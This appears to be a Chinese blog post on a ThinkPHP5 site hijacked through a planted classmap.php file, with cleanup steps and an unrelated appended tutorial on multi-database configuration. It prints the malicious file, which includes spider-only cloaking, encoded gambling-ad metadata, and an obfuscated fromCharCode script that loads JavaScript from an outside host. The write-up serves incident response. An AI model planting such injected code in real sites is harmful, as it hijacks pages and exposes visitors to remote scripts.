ThinkPHP5 被 classmap.php 文件挂马的防范与处理

ThinkPHP 是国内非常流行且成熟的 PHP Web 框架,其免费开源的特性使其广受欢迎。然而,正因为其开源特性,如果维护不及时或漏洞修补不到位,很容易成为黑客攻击的目标。本文将介绍 ThinkPHP5 被 classmap.php 文件挂马的情况、原因、解决方案。

一、挂马事件概述

        近期访问一个ThinkPHP5.0.24的网站,发现无论访问什么页面返回的都是一样的内容,企业微信分享链接的标题和简介也变成了灰色产业的广告信息。

二、挂马原因分析

         经过检查,发现runtime目录下多了一个classmap.php 的文件,classmap.php 文件通常用于缓存自动加载的类映射信息,ThinkPHP5底层会判断是否存在classmap.php,若存在会先加载此文件,以提高程序的加载效率。然而,一旦这个文件被黑客利用,就可能成为执行恶意代码的入口。

 classmap.php(挂马文件)头部代码:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>&#26143;&#31354;&#20307;&#32946;&#97;&#112;&#112;&#183;&#40;&#20013;&#22269;&#41;&#23448;&#26041;&#32593;&#31449;&#45;&#30331;&#24405;&#20837;&#21475;</title>
<meta name="keywords" content="&#26143;&#31354;&#20307;&#32946;&#44;&#26143;&#31354;&#20307;&#32946;&#23448;&#32593;&#44;&#26143;&#31354;&#20307;&#32946;&#65;&#112;&#112;&#19979;&#36733;&#44;&#26143;&#31354;&#20307;&#32946;&#23448;&#26041;&#20837;&#21475;" />
<meta name="description" content="&#26143;&#31354;&#20307;&#32946;&#183;&#40;&#20013;&#22269;&#41;&#23448;&#26041;&#32593;&#31449;&#31616;&#31216;&#12304;&#26143;&#31354;&#20307;&#32946;&#32593;&#22336;&#65306;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#50;&#51;&#53;&#52;&#51;&#50;&#46;&#118;&#105;&#112;&#12305;&#26159;&#19968;&#20010;&#22312;&#20013;&#22269;&#38750;&#24120;&#21463;&#27426;&#36814;&#30340;&#20307;&#32946;&#23448;&#26041;&#32593;&#31449;&#20837;&#21475;&#12290;&#26143;&#31354;&#20307;&#32946;&#25552;&#20379;&#26143;&#31354;&#20307;&#32946;&#23448;&#32593;&#65292;&#26143;&#31354;&#20307;&#32946;&#65;&#112;&#112;&#19979;&#36733;&#20102;&#20016;&#23500;&#22810;&#26679;&#30340;&#20307;&#32946;&#20869;&#23481;&#65292;&#26143;&#31354;&#20307;&#32946;&#36824;&#25552;&#20379;&#20102;&#23089;&#20048;&#28216;&#25103;&#24179;&#21488;&#65292;&#21253;&#25324;&#36275;&#29699;&#12289;&#31726;&#29699;&#12289;&#32593;&#29699;&#12289;&#28216;&#27891;&#31561;&#21508;&#31181;&#20307;&#32946;&#39033;&#30446;&#30340;&#26032;&#38395;&#12289;&#36187;&#20107;&#30452;&#25773;&#21644;&#25968;&#25454;&#20998;&#26512;&#12290;" />
<script>if(!navigator.userAgent.match(/baiduspider|sogou|360spider|yisou/i)){document.title ='xxx'}</script>
<script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,120,116,100,122,107,101,46,99,111,109,47,66,68,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>
<style type="text/css">
.img-hide{opacity: 0;}
.img-show{animation: .6s opacity1 forwards; -webkit-animation: .6s opacity1 forwards;}
@keyframes opacity1{
0%{opacity:0}
100%{opacity:1;}
}
@-webkit-keyframes opacity1{
0%{opacity:0}
100%{opacity:1;}
}
</style>

三、解决方案

        1、删除classmap.php文件:黑客下次可能还会再次植入挂马文件。

        2、取消ThinkPHP5底层加载classmap.php文件:屏蔽thinkphp/library/think/Loader.php文件中第313行左右的加载类库映射文件代码。

六、总结

        ThinkPHP5 被 classmap.php 文件挂马是一个严重的安全问题,需要引起足够的重视。可通过及时更新框架版本、加强代码审计、严格权限管理等措施,可以有效防范挂马攻击。同时,在遭遇挂马事件时,需要迅速响应并采取相应的处理流程,以尽快恢复网站的正常运行。

ThinkPHP5的database.php配置文件中,可以配置多个数据库连接。具体实现方式如下: 1. 在config目录下创建一个database.php文件,用于存储数据库连接信息。 2. 在database.php文件中使用return返回一个数组,数组中包含多个数据库连接信息。 示例代码如下: ```php <?php return [ // 默认数据库连接信息 'default' => [ // 数据库类型 'type' => 'mysql', // 服务器地址 'hostname' => 'localhost', // 数据库名 'database' => 'test', // 数据库用户名 'username' => 'root', // 数据库密码 'password' => '', // 数据库连接端口 'hostport' => '', // 数据库连接参数 'params' => [], // 数据库编码默认采用utf8 'charset' => 'utf8', // 数据库表前缀 'prefix' => '', ], // 第二个数据库连接信息 'db2' => [ // 数据库类型 'type' => 'mysql', // 服务器地址 'hostname' => 'localhost', // 数据库名 'database' => 'test2', // 数据库用户名 'username' => 'root', // 数据库密码 'password' => '', // 数据库连接端口 'hostport' => '', // 数据库连接参数 'params' => [], // 数据库编码默认采用utf8 'charset' => 'utf8', // 数据库表前缀 'prefix' => '', ], ]; ``` 3. 在数据库操作时,可以指定使用哪个数据库连接。例如: ```php <?php // 使用默认数据库连接 Db::name('user')->where('status',1)->select(); // 使用db2数据库连接 Db::connect('db2')->name('user')->where('status',1)->select(); ``` 以上就是在ThinkPHP5中配置多个数据库连接的方法。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值